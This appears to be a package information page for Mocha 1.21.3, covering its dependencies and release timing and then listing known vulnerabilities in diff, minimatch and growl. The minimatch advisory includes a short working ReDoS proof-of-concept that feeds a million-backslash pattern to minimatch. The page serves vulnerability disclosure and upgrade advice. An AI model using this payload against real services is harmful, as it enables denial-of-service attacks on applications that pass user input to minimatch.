Mocha version 1.21.3 is a minor update to the popular JavaScript test framework, building upon the foundation laid by version 1.21.2. Both versions share the same core dependencies, including diff for comparing outputs, glob for file pattern matching, jade for templating, debug for debugging utilities, growl for system notifications, mkdirp for directory creation, and commander for command-line interface handling. These dependencies empower developers to write and execute comprehensive tests for their JavaScript code across various environments.
The developer dependencies, should for assertions and coffee-script for alternative JavaScript syntax, also remain consistent between the two versions. This indicates that the core testing experience and supported assertion libraries haven't fundamentally changed.
The main difference lies in the releaseDate. Version 1.21.3 was released on July 28, 2014 at 03:31:21 UTC, approximately three hours after version 1.21.2, which was released on the same day at 00:26:27 UTC. This suggests that 1.21.3 incorporates bug fixes or minor enhancements discovered immediately after the 1.21.2 release. For developers, upgrading to the latest patch version is generally recommended to benefit from the latest stability improvements and address any potential issues promptly resolved by the Mocha maintainers. If you are using mocha it can be really important to keep it up to date in order to keep your tests suite running as expected.
All the vulnerabilities related to the version 1.21.3 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.
